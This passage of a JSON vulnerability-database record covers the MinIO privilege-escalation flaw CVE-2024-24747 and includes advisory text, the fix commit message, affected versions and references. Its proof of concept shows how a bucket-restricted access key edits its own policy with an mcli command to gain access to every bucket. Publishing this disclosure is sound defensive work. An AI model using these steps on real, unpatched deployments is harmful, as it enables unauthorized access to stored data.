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I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```\n","state":0,"publishedAt":"2024-02-01T19:21:30+00:00","modifiedAt":"2026-10-08T08:11:01.1099011+00:00","affected":[{"ecosystem":"Go","name":"github.com/minio/minio","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20240131185645-0ae4915a9391"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4","https://nvd.nist.gov/vuln/detail/CVE-2024-24747","https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776","https://github.com/minio/minio","https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z"],"sourceUrl":"https://github.com/advisories/GHSA-xx8w-mq23-29g4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xx8w-mq23-29g4","identifiers":["GHSA-xx8w-mq23-29g4","CVE-2024-24747","GO-2024-2499"]},"retained":false,"historicalAffected":[]},{"revision":"e75525ec749f430daf4463e5c8c37a75","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2024-2499","aliases":["CVE-2024-24747","GHSA-xx8w-mq23-29g4"],"title":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio","description":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio","state":0,"publishedAt":"2024-06-28T15:28:53+00:00","modifiedAt":"2026-10-08T08:11:01.1099011+00:00","affected":[{"ecosystem":"Go","name":"github.com/minio/minio","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20240131185645-0ae4915a9391"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4","https://nvd.nist.gov/vuln/detail/CVE-2024-24747","https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776","https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z"],"sourceUrl":"https://osv.dev/vulnerability/GO-2024-2499","license":"OSV · upstream source license applies","key":"osv:GO-2024-2499","identifiers":["GO-2024-2499","CVE-2024-24747","GHSA-xx8w-mq23-29g4"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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